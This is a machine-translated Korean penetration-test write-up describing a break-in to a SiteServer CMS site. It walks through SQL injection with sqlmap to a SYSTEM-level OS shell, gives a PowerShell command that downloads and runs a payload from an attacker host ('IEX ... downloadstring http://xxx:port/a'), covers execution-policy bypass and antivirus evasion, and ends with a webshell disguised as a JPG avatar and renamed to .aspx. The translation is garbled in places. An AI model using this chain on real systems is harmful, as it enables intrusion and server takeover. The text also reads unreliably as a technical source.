이 사이트는 vue+aspx+iis8.5를 사용하여 구축되었습니다. 사이트 로그인창에 버전번호가 있고 URL란에 siteserver라는 단어가 나와 있어서 cms로 구축한 것으로 의심되는데, cms를 구글 검색해 보니 siteserver cms로 구축한 사이트인 줄 알았어요. , 버전이 최신이고, 온라인상에서 사용 가능한 취약점이 있습니다. 여기서는 사용할 수 없습니다. 로그인 상자에서 주입 + 취약한 비밀번호 + 인증 코드 우회 + 무단 기타 방법을 시도했지만 소용이 없었습니다. 테스트를 위해 사이트에 직접 로그인하기만 하면 됩니다.
사진은 인터넷에서 찾은 로그인 사진입니다. 빨간색 박스는 cms 프롬프트가 아닌 버전 번호였습니다.
백그라운드에 들어간 후, 주로 페이지 관리 기능인 기능을 간략하게 살펴보았습니다. 여기서는 주로 주입 지점부터 자세히 다루지 않겠습니다.
1: 업로드 포인트 테스트: 아바타, 일반 문서 파일, 편집자 업로드 등 여러 곳에 업로드가 있습니다. 테스트 후 업로드 기능이 모두 화이트리스트에 의해 제한되어 결국 업로드 포인트를 포기하기로 결정했습니다. , jpg를 업로드할 수 있어도 iis 버전이 너무 높아서 구문 분석할 수 없기 때문입니다. (그러나 나중에 iis8.5가 구문 분석 취약점을 성공적으로 사용했다는 기사를 보았습니다).
둘: "일괄 정렬" 기능에서 패킷을 캡처
하고 검색 지점의 키워드 매개변수에 대해 sql 주입 테스트를 수행하면 오류가 발견되어 데이터 패킷을 직접 복사하고 실행을 위해 sqlmap에 던졌습니다. python sqlmap.py -r 1.txt .
누적된 쿼리와 dba 권한이 있는 것으로 나타났습니다. --os-shell 명령을 사용하여 xp_cmd를 열고 whoami 명령을 사용하여 셸을 가져옵니다. 현재 권한이 직접적으로 가장 높은 권한인 NT AUTHORITYSYSTEM이라는 사실을 알게 되었습니다. 이러한 허점과 기타 사항 외에도 이 침투는 끝났습니다.
그런데 이렇게 높은 권한을 가지고 있어서 인트라넷에 들어가지 않는 건 무리일 것 같아요. 원래는 아주 간단한 걸 생각했어요.
vps 열기, cs 시작, powershell 말 생성, os-shell 실행, 온라인 대기, 결과는 오류입니다:
powershell -NoProfile -ExecutionPolicy Bypass -Command "IEX ((new-object net.webclient).downloadstring ('http://xxx:port/a'))"
먼저 해당 기기가 인터넷에 연결이 가능한지 확인합니다. vps, dnslog에 ping을 쳐본 후 문제가 없어서 시도해봅니다. cmd 명령을 사용하여 powershell을 실행하려면:
cmd .exe /c powershell -NoProfile -ExecutionPolicy Bypass -Command "IEX ((new-object net.webclient).downloadstring('http://xxx:port/a') )"
같은 오류가 계속 보고되는 것을 발견했습니다. 의심스러운 따옴표 문제라서 바이두에서 검색해서 cmd에서 ^를 사용하여 따옴표를 이스케이프 처리했지만 결과가 여전히 나오지 않았습니다.
그러던 중 옆 사장님이 윈도우서버 2012 r2에 파워셸 원격 다운로드 실행 정책이 설정되어 있는지 물어보셔서 Get-ExecutionPolicy를 이용해서 확인하고, Set-ExecutionPolicy를 이용해서 켜보았어요. 다음은 로컬 데모입니다(실제 환경의 스크린샷을 잊어버렸습니다):
자세한 내용은 이 기사를 참조하세요: https://blog.netspi.com/15-ways-to-bypass-the -powershell-execution-policy/
드디어 실제 환경 전략에서 powershell 실행이 성공적으로 수정되었지만 여전히 명령을 실행하지 못했습니다. 이때 갑자기 어떤 바이러스 백신 소프트웨어가 있는지 생각했습니다. 문제가 발생해서 작업 목록을 살펴보니 정말 360 보호가 있는 것을 발견했습니다(여기에는 스크린샷이 없습니다).
이때 가장 먼저 생각한 것은 바이러스 백신 소프트웨어를 우회하는 것이었습니다. http://jackson-t. ca/runtime-exec-payloads.html 에 powershell 명령을 직접 코딩했지만 작동하지 않았습니다. 그렇지 않으면 말을 빌려 다른 사람들을 괴롭혀야 했습니다.
이때 갑자기 sqlmap을 작성해서 파일을 업로드할까 생각했는데 mssql에는 mysql과 같은 기능이 없습니다(나중에 sqlmap은 os-shell에서도 파일을 업로드할 수 있다고 사장님께 여쭤봤습니다(건방진 작업)). 방금 말한 내용이 생각나네요. 테스트 중 많은 기능에 파일 업로드 기능이 있었습니다. 비록 화이트리스트에 있었지만 사진을 잃어버리고 바로 업로드해도 전혀 영향을 받지 않았습니다. 그냥 아바타 업로드 영역인 bingxie.jpg에 얼음 전갈 그림 말을 직접 업로드하세요. 그런 다음 os-shell에서 복사 명령을 사용하여 복사본 이름을 d:abcimgbingxie.jpg d:abcimgbingxie.aspx로 변경하세요. , 아니 직접 성공적으로 출시되고 꽃이 퍼질 것이라는 데는 의심의 여지가 없습니다.
위 내용은 360을 우회하기 위한 mssql 주입 + 화이트리스트 업로드 분석 예시의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!